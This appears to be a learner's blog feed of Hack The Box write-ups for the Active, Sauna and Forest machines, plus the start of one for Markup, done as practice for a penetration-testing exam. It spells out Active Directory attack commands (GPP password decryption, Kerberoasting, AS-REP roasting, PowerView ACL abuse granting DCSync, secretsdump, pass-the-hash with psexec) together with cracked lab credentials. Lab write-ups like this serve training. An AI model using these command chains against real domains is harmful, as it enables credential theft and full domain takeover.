DEV Community: Jung

HTB - Active

Jung — Fri, 25 Sep 2026 15:03:16 +0000

This is the third HTB machine I’ve attempted while preparing for the TCM PJPT exam. Compared to the Forest and Sauna machines I attempted previously, this machine was much more straightforward and relatively easier. That said, it was still a nice and fun machine to work through, and I picked up a few useful things along the way.

OS: Window
Difficulty: Easy

After the nmap enumeration:

└─# nmap -T4 --min-rate 5000 -p- -sV -sC 10.129.93.29 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-25 07:06 -0400
Warning: 10.129.93.29 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.93.29
Host is up (0.23s latency).
Not shown: 65513 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-25 11:07:13Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49162/tcp open  msrpc         Microsoft Windows RPC
49167/tcp open  msrpc         Microsoft Windows RPC
49169/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-09-25T11:08:12
|_  start_date: 2026-09-25T11:04:38
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.51 seconds

From the scan results, we can identify several services and pieces of information that give us a good indication of the target’s role:

DNS is running, which is commonly used within Active Directory environments for name resolution.
Kerberos is running, which is a key authentication protocol used by Active Directory.
LDAP is running, which is commonly used to query and interact with Active Directory directory services.
The domain name is active.htb

The combination of Kerberos, LDAP, and DNS, along with the presence of an Active Directory domain, is a strong indicator that this machine is a Domain Controller (DC).

I first tried to enumerate the Active Directory environment using anonymous LDAP enumeration with windapsearch. However, the LDAP bind failed, and the output indicated that a successful bind must be completed on the connection.

This suggests that the target does not allow anonymous LDAP binding, meaning we cannot query LDAP without first authenticating with valid credentials.

From the Nmap enumeration, we can see that port 445 (SMB) is open. This gives us an opportunity to enumerate the SMB shares available on the target and check whether any of them can be accessed anonymously.

After enumerating the available shares, we found that the Replication share allows anonymous access.

Command: smbclient //{target ip}/Replication -N

After navigating through the SMB share, we reach:

smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups

Here, we find a file named Groups.xml.

Some information about GPP file:
Microsoft patched the underlying Group Policy Preferences (GPP) password-storage vulnerability in 2014, and newer GPP deployments should no longer create new exploitable cPassword credentials. However, older GPP configurations can still contain these stored credentials.

From our Nmap enumeration, we can see that the DNS service identifies the target as Microsoft DNS 6.1.7601, running on Windows Server 2008 R2 SP1:

53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)

This suggests that we are dealing with an older Windows environment, so finding a Groups.xml file under the Group Policy Preferences directory is worth investigating. There is a possibility that this is a legacy GPP configuration containing a cPassword.

Given its location and the age of the target environment, we should inspect the file for any stored credentials or cPassword values.

We can use the get command to download Groups.xml to our Kali machine for further analysis.

After opening the Groups.xml file in Firefox, we can see that it contains credentials for a service account:

Username:active.htb/SVC_TGS
cPassword: edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

The cPassword value is the encrypted password stored by Group Policy Preferences (GPP).

We can use gpp-decrypt to decrypt the cPassword value we found in Groups.xml:

gpp-decrypt <cPassword>

Running the command reveals the plaintext password for the SVC_TGS service account:

GPPstillStandingStrong2k18

We now have valid credentials for the SVC_TGS account, so I tried using impacket-psexec to obtain a remote shell as this user.

However, the attempt was unsuccessful. The output indicated that none of the available SMB shares were writable.

This is important because psexec typically needs to upload a service executable to a writable administrative share, such as ADMIN$, in order to execute commands remotely.

To put it simply, psexec works by creating a Windows service remotely, and to do that it needs a way to place the service executable on the target machine and thus, requiring writable access.

Since the SVC_TGS account does not have the required write access, psexec cannot use this method to obtain a shell.

Since SVC_TGS does not have the required permissions to use psexec, the next step is to identify which SMB shares the account can access and what level of access it has.

To enumerate the available SMB shares and check the permissions of the SVC_TGS account, I used NetExec (NXC):

nxc smb 10.129.93.33 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares

The --shares option enumerates the SMB shares available on the target and shows the access level that the provided account has for each share, such as READ or WRITE permissions.

This allows us to identify shares that the SVC_TGS account can read and potentially investigate for additional information or credentials.

From the output, we can see several SMB shares that the SVC_TGS account has READ access to. Among them, I was particularly interested in the Users share, as user-specific directories are often a good place to look for user-related files, including the user flag in an HTB machine.

I used smbclient to connect to the Users share using the SVC_TGS credentials:

smbclient //10.129.93.33/Users -U 'SVC_TGS'

After connecting, I navigated to the user’s Desktop, where I was able to retrieve the user flag.

Use the get command to download the user.txt file and read it to get the flag

Privilege Escalation

I started to understand why this machine was labelled as Easy, especially after obtaining the SVC_TGS account. The username itself can be seen as a hint, since TGS is commonly associated with Kerberoasting and the Ticket Granting Service (TGS) in Kerberos authentication.

Normally, my next step would have been to use BloodHound to enumerate the relationships between domain objects and identify users that could potentially be Kerberoasted, especially if those accounts had interesting privileges or access to higher-privileged groups. However, I decided to skip that step this time because the SVC_TGS username gave me a strong intuition that Kerberoasting was likely to be one of the main attack paths on this machine and I wanted to save time too lol...

Kerberoasting is a technique where an attacker requests Kerberos service tickets (TGS tickets) for accounts that have a Service Principal Name (SPN) registered. These tickets can then be taken offline and subjected to password cracking. If the associated service account is using a weak or guessable password, this can potentially allow us to recover its plaintext password.

We can perform Kerberoasting using impacket-GetUserSPNs. Since we already have valid credentials for SVC_TGS, we can use them to query the domain for accounts with registered Service Principal Names (SPNs) and request their Kerberos service tickets:

impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.93.33 -request

The -request option tells GetUserSPNs to request the TGS tickets for the accounts it finds. In the output, we received a TGS hash for the Domain Administrator account.

This is significant because the TGS can be taken offline and subjected to password cracking, potentially allowing us to recover the plaintext password for the associated account.

I saved the TGS hash to a file so that it could be cracked offline using Hashcat.

After running Hashcat against the TGS hash, we were able to successfully crack it and recover the plaintext password for the Domain Administrator account -> Ticketmaster1968 (The mode for cracking TGS Hash is 13100)

Now that we have valid credentials for the Domain Administrator account, we can use impacket-psexec to obtain a shell on the target machine.

Unlike the previous attempt with SVC_TGS, the Domain Administrator account has the required privileges to access the necessary administrative resources and create a remote service. This allows psexec to successfully execute commands on the target.

After obtaining a shell, I navigated to the Administrator’s Desktop, where I was able to retrieve the root flag and complete the machine.

HTB - Sauna

Jung — Thu, 24 Sep 2026 18:35:39 +0000

This is the second HTB machine I attempted before taking the PJPT exam. If you’ve done the HTB Forest machine before, this one should feel pretty smooth sailing.

It took me way less time to pwn this machine compared to Forest, probably because I was able to apply a lot of the things I learned from it.

OS: Windows
Difficulty: Easy

After nmap enumeration:

└─# nmap -T4 --min-rate 5000 -p- -sV -sC 10.129.95.180
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-23 13:26 -0400
Nmap scan report for 10.129.95.180
Host is up (0.23s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-24 00:27:27Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: 7h00m00s
| smb2-time: 
|   date: 2026-09-24T00:28:21
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 148.94 seconds

From the scan results, we can identify several services and pieces of information that give us a good indication of the target’s role:

DNS is running, which is commonly used within Active Directory environments for name resolution.
Kerberos is running, which is a key authentication protocol used by Active Directory.
LDAP is running, which is commonly used to query and interact with Active Directory directory services.
The domain name is EGOTISTICAL-BANK.LOCAL

The combination of Kerberos, LDAP, and DNS, along with the presence of an Active Directory domain, is a strong indicator that this machine is a Domain Controller (DC).

I used windapsearch to check whether anonymous LDAP enumeration was allowed on the domain. It was, which meant I could query the LDAP directory without providing credentials.

This allowed me to enumerate users and other objects present in the Active Directory environment. (I learned about windapsearch while working on the HTB Forest machine, so I knew it was worth trying here as well)

I took the usernames I had enumerated and used impacket-GetNPUsers to check whether any of the accounts had Kerberos pre-authentication disabled.

If an account has Kerberos pre-authentication disabled, it may be vulnerable to AS-REP Roasting, allowing us to request an AS-REP response for the account and potentially crack the hash offline.

However, all of my attempts came back with no useful results, so there were no obvious accounts to AS-REP roast. This meant I needed to take a different approach.

From the Nmap scan, I found that HTTP port 80 was open, which indicated that the domain controller was also hosting a website that I could access.

I checked the website and found a list of team members under the “About Us” section. This was interesting because the names listed there could potentially correspond to valid user accounts within the Active Directory domain.

I created user.txt file and stored the names of the team members in the following format:

For example, if the person’s name is Fergus Smith, the username would likely be fsmith.

This is because the Active Directory environment appears to follow a common username naming convention: the first letter of the user’s last name is combined with their first name.

I then ran impacket-GetNPUsers again using my newly created user.txt file. This time, I found that the fsmith account was vulnerable to AS-REP Roasting.

Next, I used Hashcat to crack the AS-REP hash that I obtained earlier. After successfully cracking the hash, I was able to retrieve the password for the fsmith account.

From the Nmap enumeration, I also found that port 5985 was open, which is the default port used by Windows Remote Management (WinRM) over HTTP.

Since I now had valid credentials for the fsmith account, I could use Evil-WinRM to authenticate to the machine remotely.

After gaining access, I navigated to the fsmith user’s Desktop and found the user flag.

Privilege Escalation:

Privilege escalation on this machine was relatively straightforward, mainly because I had already learned about WinPEAS from the HTB Archetype machine.

WinPEAS is a Windows enumeration tool that checks various parts of a system for potential privilege-escalation opportunities, such as misconfigured services, permissions, stored credentials, and other security weaknesses.

I used WinPEAS to enumerate the machine and look for anything that could help me escalate my privileges.

For a more detailed explanation of how to download WinPEAS and run it on the Windows machine, you can refer to my HTB Archetype write-up.

After running WinPEAS, I found credentials for a service account named svc_loanmanager

Now that I had the credentials for svc_loanmanager, I knew I probably (hopefully) needed to make use of this information somehow.

The next thing that came to mind was figuring out what privileges this account had and what relationships it had with other users, groups, and computers in the domain.

To map out these relationships, BloodHound was the obvious tool to use.

I first tried using bloodhound-python to enumerate the objects and relationships within the Active Directory environment. If that didn’t work, I would have had to fall back to SharpHound and run the enumeration from the Windows machine instead.

Fortunately, bloodhound-python worked, so I was able to collect the data and ingest the resulting JSON files into BloodHound for further analysis.

I then went to the “Shortest Path to Domain Admin” section in BloodHound, but svc_loanmanager was nowhere to be seen.

At this point, I couldn’t see any obvious attack path from the account to Domain Admin, so I needed to dig a little deeper

Since our goal is to ultimately gain control of the domain, I wanted to see which objects had control or administrative privileges over the Active Directory domain.

Bingo! We found that the svc_loanmanager account actually has the GetChangesAll privilege over the Active Directory domain.

This was a significant finding because GetChangesAll is one of the permissions required to perform a DCSync attack. DCSync abuses Active Directory replication functionality to request password-related data for domain accounts as if the requesting account were another domain controller.

This meant I could potentially use impacket-secretsdump with the svc_loanmanager credentials to perform a DCSync attack and extract credential material for domain users, including the Domain Administrator account.

Get the svc_loanmanager account username in the Active Directory

I then used impacket-secretsdump with the svc_loanmanager credentials to perform the DCSync attack.

The attack was successful, and I was able to retrieve the NTLM hash of the Domain Administrator account.

With this hash, I could use Pass-the-Hash to authenticate as the Domain Administrator without needing to know the account’s plaintext password.

Finally, I used impacket-psexec with the Domain Administrator’s NTLM hash to authenticate to the machine using Pass-the-Hash.

Once I obtained a shell as Domain Administrator, I navigated to the Administrator’s Desktop and retrieved the root flag, completing the machine.

HTB - Forest

Jung — Tue, 22 Sep 2026 20:49:20 +0000

I’m planning to take the TCM Security PJPT certification exam next Monday. I’ve finished going through the PEH course, and I wanted to spend some time working on HTB machines to put some of the techniques and methodologies I learned into practice and build up my confidence for the exam.

While looking around online, I came across the Forest machine, which seems to be one of the more well-known machines for getting some hands-on experience with Active Directory attacks, so I decided to give it a try.

I got stuck here and there along the way, but overall, it was a really fun machine to work on. I also learned quite a lot from it, especially when it comes to Active Directory enumeration and attacking AD environments.

Although this machine is categorized as “Easy”, I’d recommend having some basic Active Directory knowledge before giving it a try. Without it, you’ll probably find yourself very lost

OS: Windows
Difficulty: Easy

After the nmap enumeration, we get a pretty long output:

└─# nmap -T4 --min-rate 5000 -p- -sV -sC 10.129.89.197 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-21 02:52 -0400
Nmap scan report for 10.129.89.197
Host is up (0.25s latency).
Not shown: 65511 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-21 06:58:49Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49681/tcp open  msrpc        Microsoft Windows RPC
49698/tcp open  msrpc        Microsoft Windows RPC
50029/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m21s, deviation: 4h02m30s, median: 6m20s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2026-09-20T23:59:42-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-09-21T06:59:43
|_  start_date: 2026-09-21T06:42:51

From the scan results, we can identify several services and pieces of information that give us a good indication of the target’s role:

DNS is running, which is commonly used within Active Directory environments for name resolution.
Kerberos is running, which is a key authentication protocol used by Active Directory.
LDAP is running, which is commonly used to query and interact with Active Directory directory services.
The domain name is htb.local.
The hostname of the machine is FOREST.

The combination of Kerberos, LDAP, and DNS, along with the presence of an Active Directory domain, is a strong indicator that this machine is a Domain Controller (DC).

A Domain Controller is a Windows server responsible for managing an Active Directory domain. Among other things, it handles user and computer accounts, authentication through Kerberos, and directory queries through LDAP.

Based on these findings, we can reasonably conclude that FOREST is acting as a Domain Controller for the htb.local domain.

At this point, I knew that one of the first things I should do was enumerate the users in the htb.local domain. But honestly, I was stuck haha. I had no idea where to begin.

Since we were only given a single IP address for the target machine rather than a subnet, some of the techniques I had learned from the PEH course didn’t really apply here. For example, I couldn’t make use of LLMNR poisoning or IPv6 attacks, since those typically rely on being in the same network environment as the target. SMB Relay was also not an option because, based on my Nmap enumeration, SMB message signing was enabled and required.

I didn’t want to rely too heavily on HTB’s guided mode, as I wanted to figure things out on my own. However, I eventually had to take a look at the hints, and that’s when I came across anonymous LDAP authentication.

This was something I hadn’t considered before, and it gave me a starting point for enumerating information from the Active Directory environment.

So I went to search Google for “anonymous LDAP enumeration”. I came across an article that introduced me to windapsearch.py, which looked like a useful tool for enumerating information from an LDAP server.

The github link for windapsearch -> https://github.com/ropnop/windapsearch

After cloning the repository, I ran windapsearch.py with ObjectClass=* to perform a broad LDAP enumeration of the domain. This allowed me to retrieve different types of objects from Active Directory, including users, computers, groups, and other directory objects.

From the output, I only wanted to extract the names that appeared after the first CN= and before the first , in each entry. Rather than manually going through the output, I asked ChatGPT to help me come up with a command that would extract these values and save them into a users.txt file.

After getting the users.txt file, I realised that I could use impacket-GetNPUsers to check whether any of the domain accounts had Kerberos pre-authentication disabled.

I thought of this because, normally, when a user requests a TGT from the KDC (Key Distribution Center), they first need to prove their identity through Kerberos pre-authentication. The KDC then uses information associated with the user’s secret to process the authentication request and, if everything checks out, issues a TGT.

However, if Kerberos pre-authentication is disabled for an account, the user can request authentication without first providing that proof. The KDC will respond with an AS-REP containing encrypted data derived from the user’s password.

This means that if we can obtain the AS-REP response for an account with pre-authentication disabled, we can take it offline and attempt to crack the response to recover the user’s password. This technique is commonly known as AS-REP Roasting.

Once I ran the command, I got quite a lot of output, probably because the users.txt file contained more than just actual user accounts. However, after going through the results, I eventually managed to find a service account called svc-alfresco that had Kerberos pre-authentication disabled.

The command returned an AS-REP hash for the account, which meant I could potentially attempt to crack it offline and recover the account’s password.

I saved the AS-REP hash into a separate file and then tried cracking it with Hashcat. I wasn’t sure which Hashcat mode to use, so I Googled it and found that mode 18200 is used for Kerberos 5 AS-REP etype 23 hashes.

I ran Hashcat with the appropriate wordlist and managed to successfully crack the hash, giving me the password for the svc-alfresco account (s3rvice)

So now we have a user account:
Username: svc-alfresco
Password: s3rvice

I knew I couldn’t use impacket-psexec with the svc-alfresco account since it obviously wasn’t an administrator account. However, I remembered from my HTB Responder write-up that if WinRM (port 5985) is exposed and we have valid credentials for a user who is allowed to use WinRM, we can potentially authenticate to the machine using Evil-WinRM.

Since port 5985 was open and I now had valid credentials for svc-alfresco, I decided to give it a try and it worked. Navigated to svc-alfresco's Desktop to find the user flag

Privilege Escalation

I was pretty excited at this point because I finally got to actually use BloodHound to enumerate the Active Directory environment and look for potential paths to higher-privileged accounts.

I ran bloodhound-python to collect information about the users, groups, computers, and other objects in the domain. However, I ran into a problem because the svc-alfresco account couldn’t authenticate to LDAP, so I wasn’t able to collect the information I needed.

So I went to google if there is a way to ingest bloodhound data from within window machine itself and surprisingly, there was which is called "sharphound"

github repo link -> https://github.com/SpecterOps/SharpHound

I went to the Releases section of the GitHub repository and downloaded the SharpHound binary. I then started a simple HTTP server in the directory on my Kali machine containing SharpHound.exe.

From the target machine, I used PowerShell’s wget command to download the file from my Kali machine. In PowerShell, wget is an alias for Invoke-WebRequest, which can be used to retrieve files over HTTP.
wget "http://{kali ip address}/SharpHound.exe" -outfile SharpHound.exe

One thing to take note of is that when I initially downloaded the latest SharpHound.exe binary, I ran into an error saying that the installed .NET Runtime version was not compatible.

I fixed this by downloading an older version of the SharpHound binary, which worked with the .NET version available on the target machine.

You may run into the same issue, so if the latest version doesn’t work, try using an older release of SharpHound.

Once SharpHound finished running, it generated a ZIP file containing the collected Active Directory data. I downloaded this ZIP file onto my Kali machine so that I could upload it to BloodHound and let it ingest the data.

Upload the JSON files containing the Active Directory data.

This was the point where I really started to appreciate how useful BloodHound is. Being able to visualize and analyze the relationships between users, groups, computers, and permissions within an Active Directory environment made it much easier to understand how everything was connected.

Instead of manually going through all the information we collected, we could use BloodHound to identify interesting relationships and potential attack paths that could eventually lead to higher-privileged accounts or groups.

I immediately went to Explore → Cypher → Saved Queries and selected “Shortest Paths to Domain Admins” to see if there were any potential attack paths that could lead to the Domain Admins group.

If we take a look at this portion of the BloodHound graph, we can see that the Exchange Windows Permissions group has WriteDACL permission over the htb.local domain.

In simple terms, WriteDACL means that members of this group have permission to modify the access control list (DACL) of the domain object. This is interesting because being able to modify the DACL can potentially allow us to grant additional permissions to a user or group, which could then be used to escalate our privileges within the domain.

Now I wanted to find out who has inbound control over the Exchange Windows Permissions group.

This is because inbound control in BloodHound shows us which users or groups have permissions over the selected object. In this case, I wanted to identify accounts that have some level of control over the Exchange Windows Permissions group, such as the ability to modify its membership or permissions.

For mental model:
Inbound control -> "Who can control this object?"
Outbound control -> "What objects can this object control?"

After inspecting the Inbound Control relationship graph, I noticed something that finally clicked.

We can see that the compromised svc-alfresco account is a member of the Service Account Group, which is itself a member of the Privileged IT Account Group. That group is then a member of the Account Operators group.

More importantly, the Account Operators group has GenericAll permission over the Exchange Windows Permissions group.

This means that svc-alfresco can exercise the GenericAll rights that Account Operators has over the Exchange Windows Permissions group

So what can Account Operators can do?

And what can Exchange Windows Permissions can do?

Hence:
Account Operators membership → gives svc-alfresco the ability to perform certain account-management operations, such as creating users.

GenericAll over Exchange Windows Permissions → gives svc-alfresco extensive control over that group object, including the ability to modify its membership.

At this point, I had a pretty good idea of what the attack chain would look like.

My plan was to first create a new user and add that user to the Exchange Windows Permissions group. Earlier, we found that this group has WriteDACL permission over the htb.local domain object. This means that once our new user is a member of the group, we can potentially modify the domain object’s DACL and grant the user the directory replication permissions required to perform DCSync.

Once the user has the necessary replication rights, we can use impacket-secretsdump to perform a DCSync attack and retrieve password hashes for domain accounts, including the Domain Administrator account.

That would be the final goal of this attack chain.

I first created a new user: net user {name} {password} /add /domain
Username: newuser
Password: iamgroot6767

and added this user into the Exchange Windows Permission Group
net group "Exchange Windows Permissions" {name} /add /domain

I then tried to grant DCSync rights to the newly created user using the following command, which I got from ChatGPT:

Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity "newuser" -Rights DCSync

However, I got an error saying:

"Get-ObjectAcl is not recognized as the name of a cmdlet"

At first, I had no idea what this meant, so I went to Google to figure out what was going on. Eventually, I found out that Add-DomainObjectAcl is a function from PowerView, which meant that PowerView needed to be loaded into my PowerShell session before I could use the command.

Googled PowerView.ps1 download and managed to find the github repo for it

github repo link: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

After downloading the PowerView.ps1, I transferred it to the svc-alfresco machine via the same way I did for the SharpHound.exe

Run the PowerView.ps1 by -> . .\PowerView.ps1 (Apparently this is the way to run the file)

And heres the part that I was stuck for really long. I faced an issue where even though the command for giving DCSync right to newuser didn't throw the error, it didn't actually give DCSync right to newuser

To verify whether the DCSync permissions had been successfully granted, I ran the following command:

Get-DomainObjectAcl -Identity "DC=htb,DC=local" -ResolveGUIDs | Where-Object {$_.ObjectAceType -match "Replication"} | Select-Object SecurityIdentifier,ObjectAceType,ActiveDirectoryRights

This command queries the ACL of the htb.local domain object and filters the results for replication-related permissions. It then displays the Security Identifier (SID), the type of replication permission, and the associated Active Directory rights.

I expected to see the SID belonging to newuser, which ends in 10101, but it wasn’t anywhere in the output. This suggested that the DCSync permissions had not been applied successfully, so I needed to figure out what went wrong.

However, I couldn’t figure out why it wasn’t working. No matter what I tried, the SID of newuser still wasn’t showing up in the replication-related ACLs, so I eventually had no choice but to refer to the official HTB write-up.

From the write-up, I found that the important part was to perform the ACL modification using the credentials of the newly created user.

So what was actually happening?
When I ran the command without -Credential, PowerView was likely performing the LDAP operation using the credentials of my current session, which was svc-alfresco.

The problem was that svc-alfresco was not a member of the Exchange Windows Permissions group. It was newuser that I had created and added to the group, meaning that newuser was the account that inherited the WriteDACL permission.

This made me realise that the key point was which account was actually performing the ACL modification.

I needed the newly created newuser account to perform the ACL modification, rather than svc-alfresco. That’s why there was a need to create PSCredential object containing newuser’s credentials and passed it to Add-ObjectACL using the -Credential parameter.

This tells PowerView to perform the LDAP operation using newuser’s credentials, allowing the operation to make use of the WriteDACL permission that newuser inherited through its membership in the Exchange Windows Permissions group.

First, convert the plaintext password of newuser into a SecureString:

$pass = ConvertTo-SecureString 'iamgroot6767' -AsPlainText -Force

Next, create a PowerShell credential object using the username and the SecureString password:

$cred = New-Object System.Management.Automation.PSCredential('htb\newuser', $pass)

Finally, run the ACL modification command again, this time supplying the credential object:

Add-ObjectACL -PrincipalIdentity newuser -Credential $cred -Rights DCSync

This time, the command successfully granted the DCSync permissions to newuser. This was a very good lesson learnt

Since newuser now has the necessary DCSync/replication rights, we can use impacket-secretsdump with the newuser account to perform a DCSync attack.

This allows us to request credential information from Active Directory through the directory replication process, including password hashes for domain accounts.

Command:
impacket-secretsdump htb/newuser:'iamgroot6767'@10.129.90.30

From the output, secretsdump dumped credential information for the domain accounts that our DCSync permissions allowed us to retrieve, and we finally obtained the Domain Administrator’s NTLM hash.

Since we now have the NTLM hash, we don’t actually need to crack the password. We can use a Pass-the-Hash (PtH) attack to authenticate as the Administrator account by supplying the hash directly to impacket-psexec.

The command used:

impacket-psexec Administrator@10.129.90.30 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

After successfully authenticating as Administrator, I navigated to the Administrator’s Desktop and retrieved the root flag, completing the machine.

HTB - Markup

Jung — Wed, 16 Sep 2026 09:42:24 +0000

OS: Windows
Difficulty: Very Easy

After the nmap enumeration:

Nmap scan report for 10.129.129.117
Host is up (0.26s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9f:a0:f7:8c:c6:e2:a4:bd:71:87:68:82:3e:5d:b7:9f (RSA)
|   256 90:7d:96:a9:6e:9e:4d:40:94:e7:bb:55:eb:b3:0b:97 (ECDSA)
|_  256 f9:10:eb:76:d4:6d:4f:3e:17:f3:93:d6:0b:8c:4b:81 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
|_http-title: MegaShopping
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
443/tcp open  ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-title: MegaShopping

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.66 seconds

We know that:

Port 22 (SSH) is opened so we could probably ssh into target machine later
Port 80 (HTTP) suggests that target machine hosts a web server that we could go look into

Upon visiting the website, we are greeted with Login Page

After trying several default credentials, we would be able to login using admin:password

After logging in and interacting with the websites, we realise that only the user inputs in orders page is handled by server as we could see from the POST request caught in the Burp Suite

Here I got to learn about XXE (XML External Entity) which is a vulnerability that occurs when an application processes XML input and allows the XML parser to resolve external entities controlled by the attacker

If we google XXE attack and refer to the official PortSwigger page, it shows how we can exploit as shown in the image below

